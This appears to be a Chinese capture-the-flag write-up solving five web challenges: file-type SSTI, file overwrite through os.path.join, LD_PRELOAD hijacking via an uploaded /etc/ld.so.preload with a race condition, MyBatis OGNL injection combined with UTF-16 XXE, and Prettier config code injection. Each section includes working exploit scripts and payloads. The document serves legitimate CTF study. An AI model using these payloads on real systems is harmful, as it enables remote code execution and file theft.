filechecker_mini

给了源码,审计下

发现这里对 /bin/file 命令执行后的结果使用了 render_template_string 函数进行了渲染,存在ssti

image-20221212154531754

现在是如何让 /bin/file -b 检验出的文件类型结果是我们可以字定义的字符串。

github上找到了 file 命令的源码,然后也简单了解了下 file 命令对应的magic文件。刚开始想歪了,因为可以跨目录上传文件,然后就想着向 $HOME/目录下上传一个自定义的 magic 文件来实现目的,但其实走偏了。

源码里的 magic/tests 目录下是大量的测试文件,批量测试下发现可以这样插入我们想要的字符串 (其实简单阅读下他这个magic文件也可以发现有很多文件类型都可以达到这样的目的,magic文件了对应有 %s 输出的。)

拓展阅读(题外话):

https://blog.csdn.net/sin90lzc/article/details/8575022

https://www.cnblogs.com/ddk3000/p/5051094.html

https://www.ibm.com/docs/en/zos/2.4.0?topic=formats-magic-format-etcmagic-file

image-20221212155630904

那么SSTI然后RCE

image-20221212155724659

filechecker_plus

和上一题不一样的地方

image

render_template_string 函数换成了 render_template ,没办法SSTI了。

这里我当时确实不知道这个点,重点在 os.path.join 这个函数

官方文档 中说到

os.path.join(path, *paths)

智能地拼接一个或多个路径部分。 返回值是 path 和 *paths 的所有成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个部分除外,这意味着如果最后一个部分为空,则结果将以分隔符结尾。 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。

在 Windows 上,遇到绝对路径部分(例如 r'\foo')时,不会重置盘符。如果某部分路径包含盘符,则会丢弃所有先前的部分,并重置盘符。请注意,由于每个驱动器都有一个“当前目录”,所以 os.path.join("c:", "foo") 表示驱动器 C: 上当前目录的相对路径 (c:foo),而不是 c:\foo

注意这里 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。

那么如果我么上传的文件名是绝对路径的话,前面的部分丢弃,直接就是我绝对路径的结果

image-20221212161207683

而这里的逻辑

image-20221212161255166

文件名不存在 .. 所以可以成功覆盖 /bin/file 文件。

注意:这里上传可执行的二进制文件,不然 subprocess.check_output 是没法执行的(也可能是我这边的问题)后来发现是bp的问题,在bp里要把多余的 \r 去掉才行。。

#include <stdlib.h>
int main() {
    system("cat /flag");
    return 0;
}

linux下编译,然后上传执行拿到flag

这里有坑,以后上传二进制文件不要用 burp suite 做代理,会损坏二进制文件的(可能是我bp有问题吧)

import requests

url = "http://159.138.110.192:23002/"

with open("./shell", "rb") as f:
    file = {"file-upload": ("/bin/file", f)}
    res = requests.post(url, files=file)
print(res.text)

image-20221212183941870

filechecker_pro_max

和plus不一样的地方

image1

这里没法像上一个那样覆盖 /bin/file 了。

然后没啥思路,赛后复现

前置知识

  • 使用 strace 命令查看系统调用。

这题看上去确实没啥漏洞利用点,所以这个 /bin/file 的可执行文件应该有古怪的,分析这个要么找源码分析,要么用 strace 命令看看它有那些系统调用,也许调用了某个动态链接库的函数,从而上传有关动态链接库来达到目的。

  • /etc/ld.so.preload(默认配置文件)

参考文章 https://payloads.online/archivers/2020-01-01/1/

https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/

通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。

Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和 默认配置文件/etc/ld.so.preload ,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。

dlsym是一个计算机函数,功能是根据动态链接库操作句柄与符号,返回符号对应的地址,不但可以获取函数地址,也可以获取变量地址

劫持 whoami

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
  int (*new_puts)(const char *message);
  int result;
  new_puts = dlsym(RTLD_NEXT, "puts");
  // do some thing …
  // 这里是puts调用之前
  result = new_puts(message);
  // 这里是puts调用之后
  return result;
}

示例

例如我们要劫持 whoami命令

strace /bin/whoami 发现确实会加载 /etc/ld.so.preload 配置文件来加载动态链接库

image-20221213174324969

上传配置文件 /etc/ld.so.preload :

/tmp/poc.so

由于 whoami 底层会调用 puts 函数输出,可以劫持这个函数

hook.c :

#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!!!");
  system("id");
  return 0;
}

编译

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

poc.so 上传至 /tmp/poc.so

执行 whoami 命令

image-20221213174825365

成功劫持 whoami 命令

题解

这题也是同样的道理,/etc/ld.so.preload 文件默认是没有的,先查看下 /bin/file 是否会加载 /etc/ld.so.preload 配置文件

strace /bin/file

image-20221213175113836

可以看到确实是这样的。

在找找 /bin/file 这个可执行文件可以劫持哪些函数

直接看源码 https://github.com/file/file

file.c 中的main函数中随便找个函数劫持就行,这里找的是 magic_version() ,没有参数,方便

image-20221213180446301

hook.c :

#include <stdlib.h>

void magic_version() {
  system("cat /flag");
}

编译

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

然后就上传 /etc/ld.so.preload(内容:/tmp/hook.so) 和 /tmp/hook.so

本地测试成功劫持

image-20221213180758036

本题由于上传的两个文件保存后会被删除,所以还要条件竞争下。

exp :

import requests
import threading
import re

url = "http://140.210.199.170:33001/"

def upload1():
    file = {"file-upload": ("/etc/ld.so.preload", open("./ld.so.preload", "r"))}
    res = requests.post(url, files=file)
    print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
    
def upload2():
    file = {"file-upload": ("/tmp/hook.so", open("./hook.so", "rb"))}
    res = requests.post(url, files=file)
    print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
    
if __name__ == "__main__":
    for i in range(100):
        threading.Thread(target=upload1).start()
        threading.Thread(target=upload2).start()

image-20221213191219690

这里我用bp尝试条件竞争上传,失败了,我的burp果然是有问题的,上传不了二进制文件。

ezbypass

java题,当时做的时候卡在了 OGNL 表达式注入上了。

为了方便调试我把源码搬过来又重新构建了项目

过滤器这里没什么好说的,直接 /index;.ico 绕过就行,具体原理我以前分析过,可参考 https://pankas.top/2022/11/18/springboot%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-%E8%80%81%E7%89%88newbeemall%E5%AE%A1%E8%AE%A1/#%E8%B6%8A%E6%9D%83

然后是SQL注入这里,这里直接ban掉了 ' ,似乎没啥办法,但注意到项目使用了 mybatis 框架

image-20221213222125815

image-20221213222111742

mybatis是支持 OGNL 表达式的,有关 OGNL 表达式语法参考 https://cloud.tencent.com/developer/article/1554322

所以这里存在 OGNL 表达式注入

利用

${@java.lang.Character@toString(39)}

绕过即可

然后是XXE读文件,这里有waf

public static boolean check(byte[] poc) throws Exception {
        String str = new String(poc);
        String[] blacklist = new String[]{"!DOCTYPE", new String(new byte[]{-2, -1}), new String(new byte[]{-1, -2})};
        String[] var3 = blacklist;
        int var4 = blacklist.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String black = var3[var5];
            if (str.indexOf(black) != -1) {
                System.out.println("not allow");
                return false;
            }
        }

        return true;
}

参考 https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC.

With the help of such encodings, it is easy to bypass a WAF using regular expressions since, in this type of WAF, regular expressions are often configured only for a one-character set.

可利用 UTF-16BE 编码绕过

后续利用反射继 续 将 解 析 出 来 的 字 节 数 组 使 用 ByteArrayInputStream 转 换 为 输 入 流 , 然 后 使 用 org.xml.sax.InputSource 转换为 xml 可识别的格式。

简单分析下反射这部分逻辑(正好复习下反射):

就直接写到注释里了

public static String xxe(String b64poc, String type, String[] classes) throws Exception {
        String res = "";
        byte[] bytepoc = Base64.getDecoder().decode(b64poc);//获取到的是字节数组
        if (check(bytepoc)) {//要绕过 check 的waf检测,可利用UTF-16编码绕过
            //创建XML文档对象
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = dbf.newDocumentBuilder();
            InputSource inputSource = null;
            Object wrappoc = null;
            //利用反射获取一个我们自定义的构造器,需要一个 ByteArrayInputStream 的对象
            //classes[0] 应为 java.io.ByteArrayInputStream , classes[1] 应为 byte数组类型的类名 B[
            Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
            if (type.equals("string")) {
                String stringpoc = new String(bytepoc);
                wrappoc = constructor.newInstance(stringpoc);
            } else {
                wrappoc = constructor.newInstance(bytepoc);//要获得 ByteArrayInputStream 对象
            }
            //获得一个InputSource的构造器 classes[2] 为 org.xml.sax.InputSource,该构造器参数为抽象类 InputStream
            //classes[3] 为 抽象类InputStream 的子类 ByteArrayInputStream
            inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);
            Document doc = builder.parse(inputSource);
            NodeList nodes = doc.getChildNodes();

            for(int i = 0; i < nodes.getLength(); ++i) {
                if (nodes.item(i).getNodeType() == 1) {
                    res = res + nodes.item(i).getTextContent();
                    System.out.println(nodes.item(i).getTextContent());
                }
            }
        }

        return res;
}

exp :

import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception{
        String poc = "<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM \"file:///flag\">]><abc>&xxe;</abc>";
        byte[] pocBytes = poc.getBytes(StandardCharsets.UTF_16BE);
        String encodedPoc = Base64.getEncoder().encodeToString(pocBytes);
        System.out.println(encodedPoc);
    }
}

payload :

/index;.ico?password=a${@java.lang.Character@toString(39)}) OR 1#&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA+ADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA+ACYAeAB4AGUAOwA8AC8AYQBiAGMAPg==
&type=aaa&yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream

url编码下发送

/index;.ico?password=a%24%7B%40java.lang.Character%40toString(39)%7D)%20OR%201%23&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA%2BADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA%2BACYAeAB4AGUAOwA8AC8AYQBiAGMAPg%3D%3D
&type=aaa&yourclasses=java.io.ByteArrayInputStream%2C%5BB%2Corg.xml.sax.InputSource%2Cjava.io.InputStream

还有上面反射调用的那个 B[byte[] 的类名,这里记录下

image-20221214001727594

PrettierOnline

一个在线美化 js 的在线小demo,题目给了源码,直接审计代码即可

我们访问的主程序程序是将我们给的code放到一个 .prettierrc 文件中,然后挂载到docker容器中,docker中的应用会读取这个配置文件。容器中的容器使用了 prettier 这个库,容器中的程序是读取我们给的 prettier 配置来对当前程序的代码进行美化,然后写入到 ret.js 中。最后我们访问的主程序会读取 ret.js 文件然后返回读取到的内容。

有关 nodejs 里使用 prettier 库可以参加 https://www.prettier.cn/docs/api.html

我们可以控制 prettier 库的配置文件,所以大概率是利用这里配置文件了。

注意到 prettier 的插件功能,引用插件可以自定义执行代码。

参考 https://www.prettier.cn/docs/plugins.html

还要注意的是,prettier 的配置文件解析器是 cosmiconfig

官方文档

https://prettier.io/docs/en/configuration.html

那么不只是josn,yaml格式的也是可以的,而 ymal 格式的 xxx: console.log('aa'); 在js中是合乎语法的代码。那么可以注入代码。

poc: global.process.mainModule.constructor._load("child_process").execSync("sleep 10");
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
  - ".prettierrc"

发送,发现延时了10秒左右,说明是可以注入代码的,但目标靶机不出网,没法外带flag。

ps:这里浅浅记录下nodejs中绕过沙箱的方法(这个通过这个方法可以直接 bypass 那个 fw.js)global.process.mainModule.constructor._load('child_process').execSync('calc');参考https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/

不出网的解决方案有许多

可以这样,直接重写 writeFIleSync 方法,执行/readflag命令 ,将结果写入到到ret.js中。:

exp: var write=global.process.mainModule.constructor._load('fs').writeFileSync;global.process.mainModule.constructor._load('fs').writeFileSync=function(a,b,c){if(a=='./dist/ret.js'){return write(a,global.process.mainModule.constructor._load('child_process').execSync('/readflag').toString(),c);}return write(a,b,c)}
plugins:
  - ".prettierrc"

image-20221216230053632

也可以像别的师傅那样直接修改 waf,把修改 RegExp.prototype.test 改下

exploit: RegExp.prototype.oldTest = RegExp.prototype.test; RegExp.prototype.test = function(x){if (this.toString() == "/fs|path|util|os/"){return true}; return this.oldTest(x)}; require("fs").writeFileSync("dist/ret.js", require("child_process").execSync("/readflag")); var old = require("fs").writeFileSync; require("fs").writeFileSync = function(file, content){if(!file.endsWith("ret.js"))old(file, content)};
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"

其他各种payload

https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2022/prettieronline

https://blog.huli.tw/2022/12/14/rctf-2022-writeup/

https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds#PrettierOnline